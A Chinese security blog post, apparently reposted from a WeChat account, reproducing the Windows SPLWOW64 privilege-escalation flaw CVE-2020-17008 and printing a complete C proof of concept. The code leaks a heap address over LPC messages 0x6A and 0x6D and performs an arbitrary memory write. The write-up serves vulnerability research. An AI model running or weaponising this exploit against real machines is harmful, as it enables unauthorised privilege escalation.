SPLWOW64权限提升漏洞(CVE-2020-17008)复现

admin 2020年12月30日09:39:00评论58 views字数 11390阅读37分58秒阅读模式

漏洞概述

Splwow64过于信任LPC传递的数据,并且在消息0x6D中使用了请求发起者的偏移量且没有进行有效的验证,Splwow64LPC消息传递给GdiPrinterThunk导致执行可控制的memcpy函数任意地址写。

漏洞原理

触发任意地址写入的调用栈

 

SPLWOW64权限提升漏洞(CVE-2020-17008)复现

通过 \RPC Control\UmpdProxy_%x_%x_%x_%x , 会话ID, 令牌认证ID 低位,令牌认证ID 高位,0x200 构造出通信LPC名称并进行链接。

通过发送6A消息打开该打印机

 

SPLWOW64权限提升漏洞(CVE-2020-17008)复现


由于任意地址写是在当前堆基地址之上,我们输入的是偏移。

所以接着发送带有漏洞的6D消息在当前堆数据内泄露出当前堆基地址,随后通过减去基地址,从而获得任意地址写入。

含有漏洞的消息6D的数据结构:

 

SPLWOW64权限提升漏洞(CVE-2020-17008)复现


随后这个消息通过LPC传入SPLWOW64.exe,将输入输出缓冲区传入了庞大的API——GdiPrinterThunkGdiPrinterThunk中存在一个memcpy,参数来自于输入输出缓冲区。

 

SPLWOW64权限提升漏洞(CVE-2020-17008)复现



漏洞复现

 

SPLWOW64权限提升漏洞(CVE-2020-17008)复现


POC

标注: 官方POCGetPortName中使用RtlInitUnicodeString来初始化UNICODE_STRING 时出现了一个问题:使用局部变量dst来对外部传入的PUNICODE_STRING 赋值,这可能导致函数退出时栈被释放后被其他函数修改,从而导致使用该变量的函数调用失败。

[ RtlInitUnicodeString 函数原型见页面底部 ]

 

#include <stdio.h>#include <windows.h>#include <Shlwapi.h>#include <winternl.h>
#pragma comment(lib, "ntdll.lib")#pragma comment(lib, "shlwapi.lib")
typedef struct _PORT_VIEW{ UINT64 Length; HANDLE SectionHandle; UINT64 SectionOffset; UINT64 ViewSize; UCHAR* ViewBase; UCHAR* ViewRemoteBase;} PORT_VIEW, * PPORT_VIEW;
PORT_VIEW ClientView;
typedef struct _PORT_MESSAGE_HEADER { USHORT DataSize; USHORT MessageSize; USHORT MessageType; USHORT VirtualRangesOffset; CLIENT_ID ClientId; UINT64 MessageId; UINT64 SectionSize;} PORT_MESSAGE_HEADER, * PPORT_MESSAGE_HEADER;
typedef struct _PORT_MESSAGE { PORT_MESSAGE_HEADER MessageHeader; UINT64 MsgSendLen; UINT64 PtrMsgSend; UINT64 MsgReplyLen; UINT64 PtrMsgReply; UCHAR Unk4[0x1F8];} PORT_MESSAGE, * PPORT_MESSAGE;
PORT_MESSAGE LpcRequest;PORT_MESSAGE LpcReply;
NTSTATUS(NTAPI* NtOpenProcessToken)( _In_ HANDLE ProcessHandle, _In_ ACCESS_MASK DesiredAccess, _Out_ PHANDLE TokenHandle );
NTSTATUS(NTAPI* ZwQueryInformationToken)( _In_ HANDLE TokenHandle, _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, _Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation, _In_ ULONG TokenInformationLength, _Out_ PULONG ReturnLength );
NTSTATUS(NTAPI* NtCreateSection)( PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle );
NTSTATUS(NTAPI* ZwSecureConnectPort)( _Out_ PHANDLE PortHandle, _In_ PUNICODE_STRING PortName, _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, _Inout_opt_ PPORT_VIEW ClientView, _In_opt_ PSID Sid, _Inout_opt_ PVOID ServerView, _Out_opt_ PULONG MaxMessageLength, _Inout_opt_ PVOID ConnectionInformation, _Inout_opt_ PULONG ConnectionInformationLength );
NTSTATUS(NTAPI* NtRequestWaitReplyPort)( IN HANDLE PortHandle, IN PPORT_MESSAGE LpcRequest, OUT PPORT_MESSAGE LpcReply );

void WriteMemory(UINT64 WriteAddr, UINT64 Data, UINT64 cookie, UINT64 heapAddress);
int Init(){ HMODULE ntdll = GetModuleHandleA("ntdll");
printf("ntdll = 0x%pn", (void*)ntdll);
NtOpenProcessToken = (NTSTATUS(NTAPI*) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll, "NtOpenProcessToken"); if (NtOpenProcessToken == NULL) { printf("Failed to get NtOpenProcessTokenn"); return 0; }
ZwQueryInformationToken = (NTSTATUS(NTAPI*) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll, "ZwQueryInformationToken"); if (ZwQueryInformationToken == NULL) { printf("Failed to get ZwQueryInformationTokenn"); return 0; }
NtCreateSection = (NTSTATUS(NTAPI*) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE)) GetProcAddress(ntdll, "NtCreateSection"); if (NtCreateSection == NULL) { printf("Failed to get NtCreateSectionn"); return 0; }
ZwSecureConnectPort = (NTSTATUS(NTAPI*) (PHANDLE, PUNICODE_STRING, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW, PSID, PVOID, PULONG, PVOID, PULONG)) GetProcAddress(ntdll, "ZwSecureConnectPort"); if (ZwSecureConnectPort == NULL) { printf("Failed to get ZwSecureConnectPortn"); return 0; }
NtRequestWaitReplyPort = (NTSTATUS(NTAPI*) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll, "NtRequestWaitReplyPort"); if (NtRequestWaitReplyPort == NULL) { printf("Failed to get NtRequestWaitReplyPortn"); return 0; }
return 1;}
WCHAR dst[256];int GetPortName(PUNICODE_STRING DestinationString){ void* tokenHandle; DWORD sessionId; ULONG length;
TOKEN_STATISTICS tokenInformation;
memset(&tokenInformation, 0, sizeof(tokenInformation)); ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);
memset(dst, 0, sizeof(dst));
if (NtOpenProcessToken(GetCurrentProcess(), 0x20008u, &tokenHandle) || ZwQueryInformationToken(tokenHandle, TokenStatistics, &tokenInformation, sizeof(tokenInformation), &length)) { return 0; } wsprintfW( dst, L"\RPC Control\UmpdProxy_%x_%x_%x_%x", sessionId, tokenInformation.AuthenticationId.LowPart, tokenInformation.AuthenticationId.HighPart, 0x2000); printf("name: %lsn", dst); RtlInitUnicodeString(DestinationString, dst);
return 1;}
HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName){ HANDLE sectionHandle = 0; HANDLE portHandle = 0; union _LARGE_INTEGER maximumSize; maximumSize.QuadPart = 0x20000;
if (0 != NtCreateSection(&sectionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) { printf("failed on NtCreateSectionn"); return 0; } if (sectionHandle) { ClientView.SectionHandle = sectionHandle; ClientView.Length = 0x30; ClientView.ViewSize = 0x9000; int retval = ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL); if (retval) { printf("Failed on ZwSecureConnectPort: 0x%xn", retval); return 0; } }
return portHandle;}
PVOID Prepare0x6AMessage(){ const wchar_t* printerName = L"Microsoft XPS Document Writer"; memset(&LpcRequest, 0, sizeof(LpcRequest)); LpcRequest.MessageHeader.DataSize = 0x20; LpcRequest.MessageHeader.MessageSize = 0x48;
LpcRequest.MsgSendLen = 0x300; LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase; LpcRequest.MsgReplyLen = 0x10; LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x140; printf("PtrMsgReply: 0x%I64xn", LpcRequest.PtrMsgReply); memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest)); memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
*(UINT64*)ClientView.ViewBase = 0x6A00000000; //Msg Type (OpenPrinter) *((UINT64*)ClientView.ViewBase + 0x3) = 0x100; // Offset to pointer to Printer Name *((UINT64*)ClientView.ViewBase + 0x4) = 0x00; //Printer defaults to OpenPrinter *((UINT64*)ClientView.ViewBase + 0x8) = 0x00; *((UINT64*)ClientView.ViewBase + 0x7) = 0x500000005; // Args 2 & 3 to bAddPrinterHandle
memcpy(ClientView.ViewBase + 0x100, printerName, 0x3C); printf("ClientView: 0x%I64x/0x%p, 0x%p: %Sn", (UINT64)ClientView.ViewBase, ClientView.ViewRemoteBase, (ClientView.ViewBase + 0x100), (LPWSTR)(ClientView.ViewBase + 0x100)); *((UINT64*)ClientView.ViewBase + 0x10) = 0x41414141; return ClientView.ViewBase;}
PVOID Prepare0x6DMessage_GetPoolAddr(UINT64 cookie, UINT64 heapAddress){
memset(&LpcRequest, 0, sizeof(LpcRequest)); LpcRequest.MessageHeader.DataSize = 0x20; LpcRequest.MessageHeader.MessageSize = 0x48;
LpcRequest.MsgSendLen = 0x300; LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase; LpcRequest.MsgReplyLen = 0x10; LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;
memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest)); memset(ClientView.ViewBase, 0, 0x300);
*(UINT64*)ClientView.ViewBase = 0x6D00000000; //Msg Type (Document Event) *((UINT64*)ClientView.ViewBase + 3) = cookie; *((UINT64*)ClientView.ViewBase + 4) = 0x500000005; // 2nd arg to FindPrinterHandle *((UINT64*)ClientView.ViewBase + 7) = 0x2000000003; //iEsc argument to DocumentEvent & cbIn //0x40 *((UINT64*)ClientView.ViewBase + 8) = 0x100;//OFFSET- pvIn *((UINT64*)ClientView.ViewBase + 9) = 0x200; //cbOut //0x200 *((UINT64*)ClientView.ViewBase + 0x40) = 0x6767; //0x100 *((UINT64*)ClientView.ViewBase + 0x20) = 0x40; // +B points here //0x110 *((UINT64*)ClientView.ViewBase + 0x22) = 0; //0x150 *((UINT64*)ClientView.ViewBase + 0x2A) = (UINT64)ClientView.ViewRemoteBase + 0x200; //0x250 *((UINT64*)ClientView.ViewBase + 0x4A) = (UINT64)0; //Where the contents of memcpy are written to
*((UINT64*)ClientView.ViewBase + 0xA) = 0x150; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy *((UINT64*)ClientView.ViewBase + 0x40) = 0x4242424242424242; *((UINT64*)ClientView.ViewBase + 0xA) = 0x40; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy *((WORD*)ClientView.ViewBase + 0xA2) = (WORD)0x04; *((WORD*)ClientView.ViewBase + 0xA3) = (WORD)0x04; *((UINT64*)ClientView.ViewBase + 0xB) = 0x250; //Destination of memcpy *((UINT64*)ClientView.ViewBase + 0x4A) = (UINT64)0; //Where the contents of memcpy are written to
return ClientView.ViewBase;}
HANDLE g_portHandle;
int main(){ printf("Startn"); Init(); //初始化所用的库函数 printf("Init donen");
CHAR Path[0x100];

GetCurrentDirectoryA(sizeof(Path), Path); printf("%sn", Path); PathAppendA(Path, "CreateDC.exe"); // CreateDCA("Microsoft XPS Document Writer", "Microsoft XPS Document Writer", NULL, NULL); printf("%sn", Path);
if (!(PathFileExistsA(Path))) { printf("CreateDC.exe 不存在n"); return 0; } WinExec(Path, 0); //拉起 splwow64.exe
CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL);
printf("现在你可以使用调试器挂接splwow64.exe. 输入[回车]继续:"); fflush(stdout); getchar();
printf("获得端口名称n");
UNICODE_STRING portName; if (!GetPortName(&portName)) { printf("获得端口名称失败n"); return 0; }
printf("创建端口. n");
g_portHandle = CreatePortSharedBuffer(&portName); if (!(g_portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase)) { printf("portHandle = 0x%p && ClientView.ViewBase = 0x%p && ClientView.ViewRemoteBase = 0x%pn", g_portHandle, ClientView.ViewBase, ClientView.ViewRemoteBase); return 0; }
printf("填充 0x6A 消息 - OpenPrintern");
Prepare0x6AMessage();
if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) { printf("写入 0x6A 消息失败n"); exit(1); }
printf("写入 0x6A 消息成功!n");
UINT64 cookie = *((UINT64*)ClientView.ViewBase + 0x28); printf("Cookie: 0x%llxn", cookie);
printf("填充 0x6D 消息 (获得堆地址) - DocumentEventn"); Prepare0x6DMessage_GetPoolAddr(cookie, 0);
/*第一次触发memcpy泄漏堆地址以获取偏移量*/ if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) { printf("写入 0x6D 消息失败n"); exit(1); }
UINT64 heapAddress = *((UINT64*)ClientView.ViewBase + 0x4A) - 0x40; printf("输出: 0x%I64x, 堆地址: 0x%I64xn", *((UINT64*)ClientView.ViewBase + 0x4A), heapAddress);
printf("填充 0x6D 消息 (获得堆地址) - DocumentEventn"); Prepare0x6DMessage_GetPoolAddr(cookie, 0);
/*第一次触发memcpy泄漏堆地址以获取偏移量*/ if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) { printf("写入 0x6D 消息失败n"); exit(1); }
heapAddress = *((UINT64*)ClientView.ViewBase + 0x4A) - 0x40; printf("输出: 0x%I64x, 堆地址: 0x%I64xn", *((UINT64*)ClientView.ViewBase + 0x4A), heapAddress);
printf("填充 0x6D 消息(写入数据0x55aa55aa55aa55aa 至 0x55555555地址) - DocumentEventn");
WriteMemory(0x55555555, 0x55aa55aa55aa55aa, cookie, heapAddress); printf("完成n");
return 0;}
void WriteMemory(UINT64 WriteAddr, UINT64 Data, UINT64 cookie, UINT64 heapAddress){ memset(&LpcRequest, 0, sizeof(LpcRequest)); LpcRequest.MessageHeader.DataSize = 0x20; LpcRequest.MessageHeader.MessageSize = 0x48;
LpcRequest.MsgSendLen = 0x300; LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase; LpcRequest.MsgReplyLen = 0x10; LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;
memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest)); memset(ClientView.ViewBase, 0, 0x300);
*(UINT64*)ClientView.ViewBase = 0x6D00000000; //消息类型(Document Event) *((UINT64*)ClientView.ViewBase + 3) = cookie; *((UINT64*)ClientView.ViewBase + 4) = 0x500000005; // 第二个参数:FindPrinterHandle *((UINT64*)ClientView.ViewBase + 7) = 0x2000000003; //iEsc argument to DocumentEvent & cbIn //0x40 *((UINT64*)ClientView.ViewBase + 8) = 0x100;//OFFSET- pvIn *((UINT64*)ClientView.ViewBase + 9) = 0x200; //cbOut //0x200 *((UINT64*)ClientView.ViewBase + 0x40) = 0x6767; //0x100 *((UINT64*)ClientView.ViewBase + 0x20) = 0x40; // +B points here //0x110 *((UINT64*)ClientView.ViewBase + 0x22) = 0; //0x150 *((UINT64*)ClientView.ViewBase + 0x2A) = (UINT64)ClientView.ViewRemoteBase + 0x200; //0x250 *((UINT64*)ClientView.ViewBase + 0x4A) = (UINT64)0; //Where the contents of memcpy are written to
*((UINT64*)ClientView.ViewBase + 0xA) = 0x150; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy *((UINT64*)ClientView.ViewBase + 0x40) = Data; //欲写入的数据 *((UINT64*)ClientView.ViewBase + 0xB) = WriteAddr - heapAddress; //目标内存地址 *((WORD*)ClientView.ViewBase + 0x122) = (WORD)0x04; *((WORD*)ClientView.ViewBase + 0x123) = (WORD)0x04;
if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) { printf("写入0x6D 消息失败n"); }}




RtlInitUnicodeString函数原型:

SPLWOW64权限提升漏洞(CVE-2020-17008)复现


 


本文始发于微信公众号(锋刃科技):SPLWOW64权限提升漏洞(CVE-2020-17008)复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月30日09:39:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SPLWOW64权限提升漏洞(CVE-2020-17008)复现https://cn-sec.com/archives/226056.html

发表评论

匿名网友 填写信息